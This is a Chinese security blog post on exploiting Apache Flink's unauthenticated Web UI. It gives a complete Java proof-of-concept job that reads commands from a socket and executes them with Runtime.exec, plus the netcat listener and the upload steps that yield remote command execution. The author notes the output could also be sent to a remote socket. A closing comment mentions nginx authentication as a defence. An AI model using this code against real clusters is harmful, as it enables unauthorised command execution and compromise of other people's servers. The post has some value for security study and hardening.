MENU

攻击未授权访问的 Flink 集群

August 9, 2019 • Read: 14238 • 代码,安全

Flink 是一个针对流数据和批数据的分布式处理引擎,与 Storm 一起广泛应用于分布式实时计算场景中,且在某些场景下 Flink 性能要优于 Storm。然而 Flink 默认提供的 Web UI 却不支持鉴权,这就引发了非常明显的未授权问题。

Flink Web UI

在 macOS 上简单安装一个单节点 Flink,直接使用 Homebrew。

brew install apache-flink

安装完成后进入安装目录下,执行启动脚本。

cd /usr/local/Cellar/apache-flink/1.8.1/libexec/bin
./start-cluster.sh

访问 http://localhost:8001 即可看到 Web UI。

在 Submit New Job 的地方可以上传一个 JAR 包执行任务。

Code Example

并不会流处理,所以直接从官方的 Example 中改一个出来。

import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.serialization.SimpleStringSchema;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.streaming.api.datastream.DataStream;
import org.apache.flink.streaming.api.datastream.DataStreamSource;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;
import org.apache.flink.util.Collector;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class poc {

    public static void main(String[] args) throws Exception {
        // 获取运行环境
        final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        // 通过socket获取源数据
        final DataStreamSource<String> sourceData = env.socketTextStream("127.0.0.1", 8000);

        DataStream<Tuple2<String, Integer>> dataStream = sourceData
                .flatMap(new FlatMapFunction<String, Tuple2<String, Integer>>() {
                    public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) throws Exception {
                        Process p = Runtime.getRuntime().exec(s);
                        InputStream is = p.getInputStream();
                        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
                        String res = null;

                        while ((res = reader.readLine()) != null) {
                            //send_result(res + "\n");
                            System.out.println(res + "\n");
                        }
                    }
                })
                // 相同的单词进行分组
                .keyBy(0)
                // 聚合数据
                .sum(1);
        // 将数据流打印到控制台
        dataStream.print();

        env.execute("streaming word count");
    }
}

这里为了简单直接将命令执行的结果打到了标准输出,其实这里想做什么都可以,打到远程 socket 也完全没问题。

Build 出一个 JAR 包,先监听端口。

nc -lvvp 8000

上传 JAR 包,填写 Entry Class,Submit。

Get it done

提交任务之后不久,监听端口收到连接,此时输入命令,在 Task Manager 的标准输出 Tab 即可看到结果输出。

参考

Last Modified: August 14, 2019
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

2 Comments
  1. Sunzr Sunzr

    怎么让flink的web UI授权访问呢?

    1. @Sunzr可以考虑用nginx做个401认证。